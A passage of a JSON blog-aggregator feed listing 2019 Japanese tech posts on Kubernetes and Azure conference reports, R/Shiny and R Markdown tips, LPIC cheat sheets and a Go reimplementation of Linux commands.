(Isti…","link":"https://qiita.com/toVersus/items/1317a31fead9b836a68d","isoDate":"2019-12-18T22:00:21.000Z","dateMiliSeconds":1576706421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"キャリアアップ支援制度を利用してArchitecting on AWSを受講しましたというアドベントカレンダー書いてました","contentSnippet":"tech.mobilefactory.jpだいぶ前に受けたArchitecting on AWSの聴講記録です。","link":"https://blog.masasuzu.net/entry/2019/12/15/004259","isoDate":"2019-12-14T15:42:59.000Z","dateMiliSeconds":1576338179000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GDG DevFest Tokyo 2019に行ってきた","contentSnippet":"tokyo.gdgjapan.org珍しく、何も予定が入ってない土曜日だったので、行ってきました。最近GCPを触る機運が出てきたのでちょうどいいタイミングでした。以下メモGCP 101 | 坂田 純 | GDG DevFest Tokyo 2019主にCloudRunの話。HTTPをlistenするコンテナを起動するサービス。使った分だけ課金対象となる。リクエスト数次第で自動的にスケールする。とお手軽にできそうな印象。インターフェースがHTTPなので基本的にはパブリックでアクセス出来てしまうが、--no-allow-unauthticatedオプションをつけてデプロイするとで限られた人だけ実行できるようになります。これでバッチ的なことができそう?マイクロサービスの開発とテストファースト/テスト駆動開発 | 柴田 芳樹 | GDG DevFest Tokyo 2019ちょいちょいブログとかは見てましたが、話を聞くのは初めてでした。還暦を迎えてもコードをバリバリ書いてるのは素直に尊敬します。メルペイのマイクロサービスのテストにも興味深かったですが、組み込みでのテストの話も興味深く聴かせてもらいました。ツールや環境の充実度の差はあれど、組み込みでもウェブでもやるべきことは同じなのだなと思いました。CloudNative 時代における GKE/Kubernetes ではじめる開発 | 青山 真也 | GDG DevFest Tokyo 2019k8sの紹介的な話。k8s好きになりました。話がすごいうまくて、めんどくさそうだなあと思ってたkubernetesの印象が変わりました。その他:D社のブースを覗いたらMOVの構成図が展示されていて、IoT関連だけAWSを使っていてそれ以外はGCPを使ってるのが興味深かった。IoT関連のものも別で実装して、AWSからは引き上げるようなことを言ってて、なるほどなあとなりました。基本的にAWSで構成されたインフラばかり見てたのでなかなか新鮮でした。","link":"https://blog.masasuzu.net/entry/2019/12/14/000000","isoDate":"2019-12-13T15:00:00.000Z","dateMiliSeconds":1576249200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"【イベント参加レポート】Microsoft Ignite The Tour Tokyo","contentSnippet":"2019/12/5(木)、6(金)に開催された Microsoft の Tech イベントに参加しました。www.microsoft.com概要アメリカで行われた Ignite のセッションを再演登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)新情報の発表等はされず、通常セッションとハンズオンのみMicrosoft エキスパートとの交流の場外国人のスタッフを多数配置基本的には英語でやり取りするらしい (私は話しませんでした)感想外国人が多く、グローバルな印象を受けました。会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。技術的には初級者向けの内容が多かったと思います。セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。セッション参加セッションのまとめとメモ。THR30031 - Azure とコマンドライン-オプション、ヒント、テクニック難易度:初級メモエクスプローラーでcmdをパスに入力(powershell、wslも)Windows Console → Windows TerminalTerminalはStoreで入手可能Azure CLIやVSCode RemoteはサラッとAPPS30 - コンテナーを利用したアプリケーションの最新化資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30難易度:初級要点コンテナ、Dockerの基礎的な説明コンテナランタイムやマルチステージビルド等は、軽く話に出る程度コンテナに関しては特に知らない話はなかったACRやACIの概要、使い方の軽い説明サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用メモデータセンターのアプリをクラウドにLift&Shift仮想マシンはいいけど無駄が多いコンテナを使ったモダナイゼーションアプリの境界を明確にする旧バージョンの残りファイルがなくなるオーバーヘッドなしでリソース分離繰り返し可能なビルド、環境構築コンテナを使う理由あらゆる環境で同じように動作するベロシティの向上コンテナの仕組み高度に構成されたプロセスcgroupsnamespaceベースイメージからの差分をgzip化したものコンテナランタイムの軽い説明Docker以外にも対応、containerd、runCDockerfileイメージのビルド方法を説明するテキストファイルバッチスクリプトみたいなものビルドリポジトリACRACIサーバーレスのコンテナ実行環境ハイパーバイザーレベルの分離デモサービス移行の話APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40難易度:中級要点AKSの作成手順の説明AKSとAzureの連携サービスについて知識を整理できたオートスケールの話は理解が浅かったので参考になったAKSを使う最大のメリットはAzureADとの連携ネットワークとセキュリティの話は非常に参考になったネットワークポリシーやAZメモ基本的な使い方ではなく、発展的な内容Tailwind Tradaersのデモ経営、ビジネス課題に対応復元力セキュリティ柔軟性スケールKubernetesを選択する理由抽象化のための標準化されたAPI自己修復スケーラビリティk8sアーキテクチャAKSはマスターノードが無料で提供されるネットワークに2種類指定できるデフォルトはkubenetAzure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要があるACIを仮想ノードとして使用AZAKSの作成リソースグループ仮想ネットワークサブネットサービスプリンシパル(k8sから他のリソースを作成)クラスタ本番クラスタを作成するにはオプションを多数指定する必要がある作成時にしか設定できないオプションがあるインストール時にCNI、AZの設定をする仮想ノードの有効化ACIをAKSから使えるようにする必要があるRabbitMQ is 何?HPAメトリクスサーバーにPodから情報が送られる閾値を超えたらスケールクラスタオートスケーラーノードのスケール仮想ノードLinux、Windows、GPUに対応nodeselectorで指定仮想ノードによるスケールのデモネットワークとセキュリティACRでコンテナの脆弱性をチェックAKSを使う最大のメリットはAzureADとの連携!Azure Key VaultPod間の通信Pod IdentityNMI Server(Daemonset)MICAzure Identity BindingネットワークポリシーPod間トラフィックの保護Azure Network PolicyAzure CNIを使ったPodブリッジレベルCalico Network PolicyカーネルレベルAZベータ版データセンター障害の回復性ゾーンは3つまで使用可能ゾーンの数に合わせてレプリカ数を設定THR10007 - ITと技術者の将来について語り合うエモい話要点ディスカッション形式コミュニティ参加やアウトプットを重視しているどんどんチャレンジしてスキルをつけていくことが大事メモ今後あるいは10年後どうなる?これからチャレンジしたいことは?MRフリーランス自分の営業をこれからも続けていく自分が何が得意で、何が苦手かアピールブルーオーシャンを探したいコミュニティのエンパワーメント出てこない人にどうやって技術を好きになってもらうか社内コミュニティを作ってもらうお勧めしたいことは?技術を楽しんで、周りに広めていく仲間ができてコミュニティができる人を変えるのは難しい、好きなことを広めることならできる楽しんでる雰囲気を出していると向こうから来てくれる自分の強みを知って、それを発信していく業務で触ってなくてもコミュニティで発表いていたやりたいこと、好きなことを見つけて、人が見える場所に出していく外のコミュニティに参加してみる会社にいるだけではスキルはプロジェクト依存コミュニティの熱量がすごいアウトプットすると強い人がインプットをくれるとりあえず踏み出してみる楽しんだもの勝ちやりたいことを素直にやってみるUNC10013 - Vue.js 3 に向けた Vue.js 入門難易度:初級~中級要点Vue.js の設計思想、V3 でも使える構文、V3 の新機能コンポジッションAPI関数ベースで提供される APIコンポーネントのロジックが綺麗になるV2 でもお試しで使えるブース立ち寄ったブースの中で、興味を持った内容を紹介します。LenovoLenovo ThinkSystem SE350 | レノボジャパン軽量でコンパクトなエッジサーバーWifi、LTE、有線ネットワーク対応Intel製品概要: OpenVINO™ ツールキットエッジでのディープラーニング推論アプリケーション開発学習済みモデルを無料で利用可能インテルCPUに対応PivotalAzure Spring Cloud | Microsoft DocsSpring Boot アプリをクラウドで実行ベータ版のサービスAKS 上にデプロイされる水平スケールやメトリクス、ログの収集が可能AKS は隠蔽されているため、ユーザーからは見えない手軽に導入できるので POC にも適している","link":"https://kyohmizu.hatenablog.com/entry/2019/12/10/012041","isoDate":"2019-12-09T16:20:41.000Z","dateMiliSeconds":1575908441000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"tidymodelsでもxgboostを解釈したい","contentSnippet":"はじめにXGBoostによる学習Variable Importance Plot (VIP)Partial Dependence Plot (PDP)可視化で得られた考察を反映するはじめにtidymodelsに属するparsnipパッケージを用いて機械学習を行った場合、大本のパッケージで学習した場合と異なる構造のオブジェクトが返ります。例えばxgboost::xgboost関数で学習した結果はxgb.Boosterクラスを持つオブジェクトです。一方でparsnip::fit関数を用いてXGBoostの学習を行った結果は、_xgb.Boosterクラスとmodel_fitクラスを持つオブジェクトです。","link":"https://blog.atusy.net/2019/10/29/interpret-tidymodels/","isoDate":"2019-10-29T00:00:00.000Z","dateMiliSeconds":1572307200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Zero Scale Abstraction in Knative Serving - Part1","contentSnippet":"Serverless Days Tokyo 2019 の Zero Scale Abstraction in Knative Serving というセッションの内容を書き起こしたものです。スピーカー…","link":"https://qiita.com/toVersus/items/9fa635e9cf57643f8dd6","isoDate":"2019-10-23T13:20:58.000Z","dateMiliSeconds":1571836858000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"LPIC 102 チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数ロケールディレクトリ・ファイル文字コードIPアドレスのクラスプライベートアドレスポート変数envsetshellのオプションエ…","link":"https://qiita.com/kyohmizu/items/d5d6fedc527efa9f649c","isoDate":"2019-10-09T01:56:54.000Z","dateMiliSeconds":1570586214000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"LPIC 101チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数デバイスファイルファイルシステムディレクトリ・ファイルsystemdのユニットvi正規表現dpkg設定ファイル /etc/dpkg/…","link":"https://qiita.com/kyohmizu/items/923844999018fd456d44","isoDate":"2019-10-09T01:48:33.000Z","dateMiliSeconds":1570585713000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Rで作る対称コルーチン","contentSnippet":"n月刊ラムダノート Vol.1の『「コルーチン」とは何だったのか』を読んでいる。せっかくなので勉強がてら、Rでコルーチンを実装してみることにした。今回は元祖コルーチンとして紹介されている対称コルーチンを扱う。","link":"https://blog.atusy.net/2019/10/03/symmetric-coroutine/","isoDate":"2019-10-03T00:00:00.000Z","dateMiliSeconds":1570060800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"lemon パッケージで facet した ggplot2 に軸を表示する","contentSnippet":"","link":"https://blog.atusy.net/2019/08/18/lemon-facet-rep/","isoDate":"2019-08-18T00:00:00.000Z","dateMiliSeconds":1566086400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で coord_fixed な ggplot2 の余白を取り除く","contentSnippet":"不要な余白 (黒色部) ができてしまう時は、チャンクオプションの fig.process に画像処理を行う関数を指定しよう。","link":"https://blog.atusy.net/2019/08/12/rmd-fig-crop-margin/","isoDate":"2019-08-12T00:00:00.000Z","dateMiliSeconds":1565568000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmd + Revealjs で簡単に印刷もできる2カラムレイアウトを実現する (inline-block)","contentSnippet":"出力例実装CSSYAML フロントマターCSS チャンクマークダウン記法Rmd 例Enjoy!R Markdown で Reveal.js を使ったスライド作りをする時、時々欲しくなるのが、2カラムレイアウトだ。","link":"https://blog.atusy.net/2019/08/11/revealjs-2col-inline-block/","isoDate":"2019-08-11T00:00:00.000Z","dateMiliSeconds":1565481600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で動的に図の数を変更する","contentSnippet":"","link":"https://blog.atusy.net/2019/08/09/shiny-dynamic-numer-of-plots/","isoDate":"2019-08-09T00:00:00.000Z","dateMiliSeconds":1565308800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットを click したり brush したりした時に得られるデータまとめ","contentSnippet":"tr:nth-child(even) { background: #eee;}Shiny では plotOutput の click, dblclick, hover, brush 引数を利用することで,プロットした画像からマウス操作で座標情報などを取得できる.この時得られるデータがドキュメントされていなかったので調査した.","link":"https://blog.atusy.net/2019/08/07/shiny-clickopts/","isoDate":"2019-08-07T00:00:00.000Z","dateMiliSeconds":1565136000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でマウスの位置に応じてプロットにツールチップを表示する","contentSnippet":"Shiny でプロットにツールチップを表示させる一番簡単な方法は plotly を使うことだろうが,Shiny だけで頑張ってしまうと柔軟でいい.","link":"https://blog.atusy.net/2019/08/06/shiny-hover-tooltip/","isoDate":"2019-08-06T00:00:00.000Z","dateMiliSeconds":1565049600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で input の変更が反映されるまでの時間を調整する (debounce / throttle)","contentSnippet":"入力から一定時間の経過を待ってプログラムを実行するには debounce や throttle を使う.","link":"https://blog.atusy.net/2019/08/04/shiny-throttle-and-debounce/","isoDate":"2019-08-04T00:00:00.000Z","dateMiliSeconds":1564876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"DT::datatable の行番号を並べ変え可能にする (Shiny / 非Shiny)","contentSnippet":"DT::datatable とは行名 (行番号) で並べ変える非 shinyshinyrenderDT(server = FALSE) にする行番号相当の列を用意するEnjoy!DT::datatable とはDT::datatable は jQuery 用の DataTables プラグインを R で使うための関数だ.これに iris などのデータフレームを与えると,対話的な表を簡単に作れる.","link":"https://blog.atusy.net/2019/08/03/dt-ordered-by-row-numbers/","isoDate":"2019-08-03T00:00:00.000Z","dateMiliSeconds":1564790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットの高さをブラウザ画面のサイズに合わせて変更する","contentSnippet":"","link":"https://blog.atusy.net/2019/08/01/shiny-plot-height/","isoDate":"2019-08-01T00:00:00.000Z","dateMiliSeconds":1564617600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で表示タブを変更するリンクを貼る","contentSnippet":"","link":"https://blog.atusy.net/2019/07/31/shiny-show-tab/","isoDate":"2019-07-31T00:00:00.000Z","dateMiliSeconds":1564531200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードの折り畳みをチャンクごとに選択可能にした (rmarkdown 1.15)","contentSnippet":"html_document ではコードの折り畳みができる.使い方は簡単で,YAMLフロントマターにて code_folding を指定するだけだ1.none: code_folding を無効化する.show: デフォルトで全て表示する.hide: デフォルトで全て非表示にする.show・hideの場合は,後からソースコードごとにボタンで表示を切り替えることができる.","link":"https://blog.atusy.net/2019/07/24/rmd-1-15-gh/","isoDate":"2019-07-24T00:00:00.000Z","dateMiliSeconds":1563926400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"bookdown のコミッタになったのでこれまでの貢献を振り返る","contentSnippet":"bookdown のコミッタになった.ほんまにええんかいなと思いつつ,貢献を続けていく上で励みになるので,ありがたく頂戴した次第.私が過去に出した PR が Pandoc の仕様変更に巻き込まれたので,どうするか相談していたところ,","link":"https://blog.atusy.net/2019/07/07/bookdown-committer/","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidyr 1.0.0 で追加される pack を使えば見せる用の表が簡単に作れるかも","contentSnippet":"","link":"https://blog.atusy.net/2019/07/07/application-of-pack/","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr はチャンクが掃き出すコードブロックにもっとクラス属性を与えるべきと思ったが PR を断念した","contentSnippet":"R Markdown ではチャンクオプションを利用して,ソースコード,出力,メッセージ,警告,エラーに対して,クラス属性などを付与できる.だったら最初から chunk-source, chunk-output, …って感じのクラス持たせておいた方がよくない?って思った.","link":"https://blog.atusy.net/2019/07/05/gave-up-pr-to-knitr/","isoDate":"2019-07-05T00:00:00.000Z","dateMiliSeconds":1562284800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそう","contentSnippet":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそうな一方で問題もあるのでメモ.bookdown に依存している pagedown や blogdown も関係しうる.","link":"https://blog.atusy.net/2019/07/03/rmd-line-num-in-pandoc-2-7-3/","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + Honoka の実用化は険しい","contentSnippet":"rmarkdown::html_document に Honoka という 日本語表示を最適化した Bootstrap テーマをあてたかった. 今のところ,まともに使おうとすると本家と Honoka の bootstrap.min.css を両方取り込むことになって非効率.","link":"https://blog.atusy.net/2019/07/03/honokadown/","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"雑訳vignette: Pivoting (tidyr 1.0.0)","contentSnippet":"tiydr 1.0.0 で追加される pivot_longer() と pivot_wider() の使い方を紹介する vignette の雑な訳","link":"https://blog.atusy.net/2019/06/29/pivoting-tidyr-1-0-0/","isoDate":"2019-06-29T00:00:00.000Z","dateMiliSeconds":1561766400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CRAN にパッケージを初投稿する手順","contentSnippet":"R のヘルプをもっと便利にする felp パッケージが CRANからリリースされた.この経験を踏まえ,CRAN 投稿を初挑戦する人向けの情報を纏めた.","link":"https://blog.atusy.net/2019/06/28/cran-submission/","isoDate":"2019-06-28T00:00:00.000Z","dateMiliSeconds":1561680000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr::mutate_all と purrr::modify の比較","contentSnippet":"dplyr::mutate_all はデータフレーム中の各変数 (列) に対して関数を適用する。purrr::modify はリストライクなオブジェクトの各要素に対して関数を適用するが、返り値は入力したオブジェクトと同じクラスになる。このため、データフレームを入力するとデータフレームを返すので、 dplyr::mutate_all のように振る舞うことができる。","link":"https://blog.atusy.net/2019/06/13/mutate-all-vs-modify/","isoDate":"2019-06-13T00:00:00.000Z","dateMiliSeconds":1560384000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"de:code 2019 参加レポート","contentSnippet":"Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。www.microsoft.com参加セッション1日目コンテナ技術を中心にセッションを選択【KN01】基調講演【CD06】しくみがわかる Azure Kubernetes Service (AKS) ~開発者目線で Kubernetes の基本を理解する~【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション【CD91】HashiCorp Terraform Azure Provider チュートリアル【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWNwww.youtube.com2日目コンテナ・セキュリティのセッションを選択【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決【CM12】.NET Core マルチ プラットフォームの本質【SE05】もうセキュリティはやりたくない!! 第 3 弾 ~Azure Sentinel Deep Dive~注目技術参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。Azure Kubernetes Service(AKS)Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。ノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。Kubernetes-based Event-driven Autoscaling(KEDA)Microsoft と Red Hatが共同作成したプロジェクト。イベント駆動でコンテナのオートスケールを実現します。GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in KubernetesVirtual Kubeletkubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。VM と同じように Kubernetes クラスタで一元管理できます。GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.Windows コンテナサポートWindows Server Node が、Kubernetes クラスタで Linux Node と同時に管理できるようになりました。AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。チュートリアルを試しましたが、なぜかクラスタ作成に失敗)Windows containers now supported in Kubernetes - Open Source blogAzure NetApp FilesNetApp 社の高速ストレージサービス。SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。また NetApp Kubernetes Service という Kubernetes 管理サービスも提供しているようです。(Rancher みたいなもの?)Azure NetApp Files documentation | Microsoft DocsAzure SentinelAI を使用した高機能なセキュリティサービス。Azure Sentinel | Microsoft Azureその他Azure DevOpsAzure PiplineApp ServiceService FabricWSL2感想Azureに関連したテーマのセッションがほとんどでした。クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。AKS、AzureADの動向は今後も注目していこうと思います。LT資料社内勉強会で de:code の recap を発表しました。 Recap of de code 2019 from Kyohei Mizumoto www.slideshare.netおまけ2日間のお昼のお弁当です。1日目2日目","link":"https://kyohmizu.hatenablog.com/entry/2019/06/06/111805","isoDate":"2019-06-06T02:18:05.000Z","dateMiliSeconds":1559787485000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"行列を行/列ごとのリストに変換する関数の紹介とベンチマーク (base::asplit, purrr::array_tree, purrr::array_branch)","contentSnippet":"baseasplitasplit(行列)asplit(配列)purrrarray_treearray_tree(行列)array_branch(配列)array_tree(ベクトル)array_branchベンチマークR 3.6.0 では行列や配列を MARGIN に応じたリストに分割する asplit 関数が追加された.既に purrr パッケージが同様の機能として array_tree や array_branch を実装していたので,挙動とベンチマーク結果を比較してみる.","link":"https://blog.atusy.net/2019/06/01/asplit-r-3-6-0/","isoDate":"2019-06-01T00:00:00.000Z","dateMiliSeconds":1559347200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetesリンク集","contentSnippet":"Kubernetes関連の役立つリンクを記載します。公式リファレンスReference - KubernetesKubectl Reference DocsPhippy and Friends - Cloud Native Computing FoundationGitHubGitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and ManagementGitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.GitHub - jamiehannaford/what-happens-when-k8s: \uD83E\uDD14 What happens when I type kubectl run?プロダクトGoogle Kubernetes Engine documentation \xa0|\xa0 Kubernetes Engine \xa0|\xa0 Google CloudAzure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft DocsWhat Is Amazon EKS? - Amazon EKSDocumentation | Rancher LabsK3s: Kightweight KubernetesPivotal Container Service (PKS) | Pivotalスライド、ブログ等Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker DeckKubernetes Patterns : Capacity PlanningKubeWeekly - QiitaKubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ書籍Kubernetes完全ガイド - インプレスブックス","link":"https://kyohmizu.hatenablog.com/entry/2019/05/28/115504","isoDate":"2019-05-28T02:55:04.000Z","dateMiliSeconds":1559012104000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"【20日チャレンジ】LinuxコマンドをGoで実装","contentSnippet":"Go言語の学習のため、LinuxコマンドをGoで実装します。\\r目的\\r\\rGo言語に慣れる\\r標準パッケージの機能、使い方を知る\\r\\rルール\\r以下のルールでチャレンジを行います。\\r\\r1日1コマンドを実装する\\r最低限、コマンドの基本的な動作(オプションなしの実行など)を行えるようにする\\r余裕があれば追加機能を実装する\\rコマンド名は\\"my\\" + \\"Linuxコマンド名\\"とする\\r極力標準パッケージを使用する\\r\\rソースコード\\rソースコードはGithubで管理します。\\rhttps://github.com/kyohmizu/go-cli-tools\\rスケジュール\\r\\r\\r\\rNo\\r日付\\rコマンド\\r基本実装\\rオプション\\r学習内容\\r\\r\\r1\\r5/23\\rmyls\\r〇\\r\xa0\\r\\rディレクトリ操作\\rエラー処理\xa0\\r\\r\\r\\r2\\r5/24\\rmycp\\r〇\\r△\\rファイル操作\\r\\r\\r3\\r5/25\\rmymv\\r〇\\r△\\r\xa0\\r\\r\\r4\\r5/26\\rmyrm\\r〇\\r△\\r\xa0\\r\\r\\r5\\r5/27\\rmycat\\r〇\\r△\\r\xa0\\r\\r\\r6\\r5/28\\rmycurl\\r〇\\r△\\r\\rhttp接続の実装\\rオプションの複数回指定\\r\\r\\r\\r7\\r5/29\\rmypwd\\r〇\\r△\\r\xa0OSによる条件分岐\\r\\r\\r8\\r5/30\\rmytouch\\r〇\\r△\\rbuild tagの設定\xa0\\r\\r\\r9\\r5/31\\rmymkdir\\r〇\\r△\\r\xa0ファイルの操作権限\\r\\r\\r10\\r6/1\\rmykill\\r〇\\r〇\\rプロセスとシグナル\xa0\\r\\r\\r11\\r6/2\\rmyecho\\r〇\\r-\\r引数の取得\\r\\r\\r12\\r6/3\\rmytime\\r△\\r-\\r\\rコマンド実行\\rtimeの操作\\r\\r\\r\\r13\\r6/4\\rmychmod\\r△\\r-\\r\\rbit演算\\rファイルの権限\\r\\r\\r\\r14\\r6/5\\rmyyes\\r〇\\r〇\\r\xa0\\r\\r\\r15\\r6/6\\rmyenv\\r〇\\r△\\r\\rwindowsで確認不可\\r\\r\\r\\r16\\r6/7\\rmychown\\r〇\\r△\\r\\ruser,group操作\\rwindowsで確認不可\\r\\r\\r\\r17\\r6/8\\rmygrep\\r〇\\r△\\r\\rgrepの操作\\rgoの正規表現\\r\\r\\r\\r18\\r6/9\\rmysleep\\r〇\\r△\\r\xa0\\r\\r\\r19\\r6/10\\rmymkdir\\r〇\\r△\\r\xa0\\r\\r\\r20\\r6/11\\rmyln\\r〇\\r△\\rリンクの操作\\r\\r\\r\\r\xa0\\r成果\\r\\rGoの構文や記法に慣れてきた\\rGo標準パッケージの使い方、調べ方を覚えた\\rLinuxコマンドの動作を知ることができた\xa0\\r\\r感想\\r20日も書けば、ある程度書けるようになることがわかりました。\\r普段使用するC#とGoが似ている点も覚えやすかったのだと思います。\\r次はGoでAPIを作成してみようと考えています。","link":"https://kyohmizu.hatenablog.com/entry/2019/05/23/172119","isoDate":"2019-05-23T08:21:19.000Z","dateMiliSeconds":1558599679000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Ghostscript (> 9.15) を使って PDF 中の文字列をアウトライン化する","contentSnippet":"HTML + CSS で作ったポスターをちゃんと印刷したくて調べたメモ.どうやら Ghostscript (> 9.15) で以下のような呪文を唱えればいいようだ.gs -o output.pdf -dNoOutputFonts -sDEVICE=pdfwrite input.pdf手元で試した分にはうまくいってそう (gs 9.27-1).","link":"https://blog.atusy.net/2019/05/23/outline-pdf-glyphs-by-gs/","isoDate":"2019-05-23T00:00:00.000Z","dateMiliSeconds":1558569600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードブロックに行番号を表示する 〜最終章〜","contentSnippet":"Rmd で様々な HTMLフォーマット に出力した時にコードブロックに行番号を表示する機能 +α を PR したので使い方の紹介と PR の記録,","link":"https://blog.atusy.net/2019/05/19/rmd-line-num-pr/","isoDate":"2019-05-19T00:00:00.000Z","dateMiliSeconds":1558224000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio 1.2.x では install.packages する時にパッケージ名を補完してくれる","contentSnippet":"リリースノートにも載っていない RStudio 1.2.x の世界ん?install.packagesするとき、ライブラリ名が補完される・・・???という @niszet0 氏の 投稿 を発端に確認.なぜか私が纏めることに.上の画像のように,パッケージ名を引用符で囲わずに入力し始め,tab キーを押すと幸せになれる.","link":"https://blog.atusy.net/2019/05/18/auto-complete-when-install-package/","isoDate":"2019-05-18T00:00:00.000Z","dateMiliSeconds":1558137600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + XeLaTeX で日本語含め好きなフォントを使って PDF を出力する","contentSnippet":"これまでに度々 Rmd で日本語 PDF を出力する系の記事を書いてきました.RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力するhttps://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/Rmarkdownで日本語PDFを出力するhttps://qiita.com/Atsushi776/items/9ef1e5d744e2b91c61eej両記事は共に IPA(ex) フォントを使ってきました.","link":"https://blog.atusy.net/2019/05/14/rmd2pdf-any-font/","isoDate":"2019-05-14T00:00:00.000Z","dateMiliSeconds":1557792000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr をフォークする時は knitr-examples もフォークした方がいい","contentSnippet":"R Markdown のコードブロックで行番号を便利に使えるよう,関連パッケージに働きかけています.bookdown::html_document2 に clean_highlight_tags を追加(#706; merged)pagedown の default.css を編集して出力の見た目を修正(#100; approved)knitr のコードブロックに Pandoc のfenced code attributesをフルサポートさせる(#1710)詳細は全てがマージされたら報告しようかなと.","link":"https://blog.atusy.net/2019/05/13/forking-knitr/","isoDate":"2019-05-13T00:00:00.000Z","dateMiliSeconds":1557705600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo テーマを更新して UX 向上を狙ってみた","contentSnippet":"当 blog は 静的サイトジェネレータの Hugo によって運用している.テーマは長らく Xzya/hugo-bootstrap だデモサイト).しかし,目立つ青が随所に散らばるテーマであることなど,イマイチ読み難いように感じていた.","link":"https://blog.atusy.net/2019/05/11/simplified-hugo-bootstrap/","isoDate":"2019-05-11T00:00:00.000Z","dateMiliSeconds":1557532800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo で KaTeX","contentSnippet":"MathJax より軽量で高速な KaTeX に乗り換えた","link":"https://blog.atusy.net/2019/05/09/katex-in-hugo/","isoDate":"2019-05-09T19:00:00.000Z","dateMiliSeconds":1557428400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo (blogdown) で MathJax","contentSnippet":"Hugo (blogdown) で MathJax を利用する方法を紹介.ただし,2019-05-09 以降は KaTeX を採用しているため,数式のレンダリングは KaTeX 